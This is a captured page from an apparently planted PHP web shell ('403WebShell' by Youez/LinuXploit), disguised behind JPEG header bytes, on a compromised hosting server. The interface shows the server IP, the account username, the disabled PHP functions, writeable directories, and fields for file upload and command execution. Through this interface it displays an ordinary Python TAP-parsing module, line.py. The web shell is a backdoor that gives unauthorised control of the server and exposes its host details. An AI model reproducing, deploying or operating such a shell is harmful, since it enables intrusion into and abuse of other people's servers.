JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.223.91.237  /  Your IP : 216.73.216.91
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/opt/cloudlinux/venv/lib64/python3.11/site-packages/tap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/opt/cloudlinux/venv/lib64/python3.11/site-packages/tap/line.py
try:
    import yaml

    LOAD_YAML = True
except ImportError:  # pragma: no cover
    LOAD_YAML = False


class Line:
    """Base type for TAP data.

    TAP is a line based protocol. Thus, the most primitive type is a line.
    """

    @property
    def category(self):
        raise NotImplementedError


class Result(Line):
    """Information about an individual test line."""

    def __init__(
        self,
        ok,
        number=None,
        description="",
        directive=None,
        diagnostics=None,
        raw_yaml_block=None,
    ):
        self._ok = ok
        if number:
            self._number = int(number)
        else:
            # The number may be an empty string so explicitly set to None.
            self._number = None
        self._description = description
        self.directive = directive
        self.diagnostics = diagnostics
        self._yaml_block = raw_yaml_block

    @property
    def category(self):
        """:returns: ``test``"""
        return "test"

    @property
    def ok(self):
        """Get the ok status.

        :rtype: bool
        """
        return self._ok

    @property
    def number(self):
        """Get the test number.

        :rtype: int
        """
        return self._number

    @property
    def description(self):
        """Get the description."""
        return self._description

    @property
    def skip(self):
        """Check if this test was skipped.

        :rtype: bool
        """
        return self.directive.skip

    @property
    def todo(self):
        """Check if this test was a TODO.

        :rtype: bool
        """
        return self.directive.todo

    @property
    def yaml_block(self):
        """Lazy load a yaml_block.

        If yaml support is not available,
        there is an error in parsing the yaml block,
        or no yaml is associated with this result,
        ``None`` will be returned.

        :rtype: dict
        """
        if LOAD_YAML and self._yaml_block is not None:
            try:
                yaml_dict = yaml.load(self._yaml_block, Loader=yaml.SafeLoader)
                return yaml_dict
            except yaml.error.YAMLError:
                print("Error parsing yaml block. Check formatting.")
        return None

    def __str__(self):
        is_not = ""
        if not self.ok:
            is_not = "not "
        directive = ""
        if self.directive is not None and self.directive.text:
            directive = f" # {self.directive.text}"
        diagnostics = ""
        if self.diagnostics is not None:
            diagnostics = "\n" + self.diagnostics.rstrip()
        return f"{is_not}ok {self.number} {self.description}{directive}{diagnostics}"


class Plan(Line):
    """A plan line to indicate how many tests to expect."""

    def __init__(self, expected_tests, directive=None):
        self._expected_tests = expected_tests
        self.directive = directive

    @property
    def category(self):
        """:returns: ``plan``"""
        return "plan"

    @property
    def expected_tests(self):
        """Get the number of expected tests.

        :rtype: int
        """
        return self._expected_tests

    @property
    def skip(self):
        """Check if this plan should skip the file.

        :rtype: bool
        """
        return self.directive.skip


class Diagnostic(Line):
    """A diagnostic line (i.e. anything starting with a hash)."""

    def __init__(self, text):
        self._text = text

    @property
    def category(self):
        """:returns: ``diagnostic``"""
        return "diagnostic"

    @property
    def text(self):
        """Get the text."""
        return self._text


class Bail(Line):
    """A bail out line (i.e. anything starting with 'Bail out!')."""

    def __init__(self, reason):
        self._reason = reason

    @property
    def category(self):
        """:returns: ``bail``"""
        return "bail"

    @property
    def reason(self):
        """Get the reason."""
        return self._reason


class Version(Line):
    """A version line (i.e. of the form 'TAP version 13')."""

    def __init__(self, version):
        self._version = version

    @property
    def category(self):
        """:returns: ``version``"""
        return "version"

    @property
    def version(self):
        """Get the version number.

        :rtype: int
        """
        return self._version


class Unknown(Line):
    """A line that represents something that is not a known TAP line.

    This exists for the purpose of a Null Object pattern.
    """

    @property
    def category(self):
        """:returns: ``unknown``"""
        return "unknown"

Youez - 2016 - github.com/yon3zu
LinuXploit